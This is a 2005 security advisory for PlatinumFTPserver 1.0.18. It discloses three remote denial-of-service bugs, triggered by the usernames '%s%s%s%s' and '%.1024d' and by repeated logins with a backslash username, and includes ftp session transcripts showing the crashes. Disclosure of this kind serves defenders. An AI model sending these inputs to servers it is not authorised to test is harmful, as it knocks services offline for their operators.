Application: PlantinumFTP
Site: http://www.roboshareware.com/indexplatinumftp.php
Version: 1.0.18 and maybe lower
OS: Windows
Bug: Remote Denial of Service


=====
Product:
PlatinumFTPserver simplifies management of all your Ftp clients with
regards to sending and receiving program and data files over an IP
connection.


=====
About:
I didn't found any informations about the Bugs I've found and the
vendor doesn't seem to be interested in fixing problems (see History).
Since PlatinumFTP isn't a mainstream server I decided to make this
Disclosure.

Well, I found 3 different ways do shut down (denial of service) a
PlatinumFTP 1.0.18 server. At least you doesn't need a valid user


=====
First Bug:
You can stop the server using %s%s%s%s as username.

-------------------- schnipp --------------------
ports@boom:~$ ftp 192.168.10.101
Connected to 192.168.10.101.
220-PlatinumFTPserver V1.0.18
220 Enter login details
Name (192.168.10.101orts): %s%s%s%s
421 Service not available, remote server has closed connection
Login failed.
No control connection for command: Transport endpoint is not connected
ftp>
-------------------- schnapp --------------------


=====
Second Bug:
You can stop the server using %.1024d as username.

-------------------- schnipp --------------------
ports@boom:~$ ftp 192.168.10.101
Connected to 192.168.10.101.
220-PlatinumFTPserver V1.0.18
220 Enter login details
Name (192.168.10.101orts): %.1024d
331 Password required for 000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
00000000000000000000000000000000000000000000000000 000000000000000000000
000000000000000000000000000000421 Service not available, remote server
has closed connection
Login failed.
No control connection for command: Transport endpoint is not connected
ftp>
-------------------- schnapp --------------------


=====
Third Bug:
Well, shuting down a server using the third bug is, compared to the
first Bugs, really tricky *cough*. If you put in a \ as username the
Server will show a requester on his console saying 'Incorrect Format:
HKEY_LOCAL_MACHINE\SOFTWARE\PlatinumFTPserver\Conf iguration\Users\'.
The ftp login process for the current session will stop until someone
affirmed this message.

I wrote a little perl script to see if it's possible to shut the server
down and it's working. You just have to connect a couple of times using
the username \ and after a few connections (>50) the server will crash.

Since most of you guys know how to write a script like that I doens't
attach it Of course you can find them later on my homepage.


=====
History:
2005-03-05: Found the Bugs and mailed the vendor
2005-03-07: Mailed the vendor again using all mailaddresse I found
2005-03-10: Created a yahoo-account *sigh* to make a forum post
2005-03-12: Still no response...



Well, now let's count the hours/days until someone is telling me I'm a
fool because I didn't made a working exploit out of it.


ports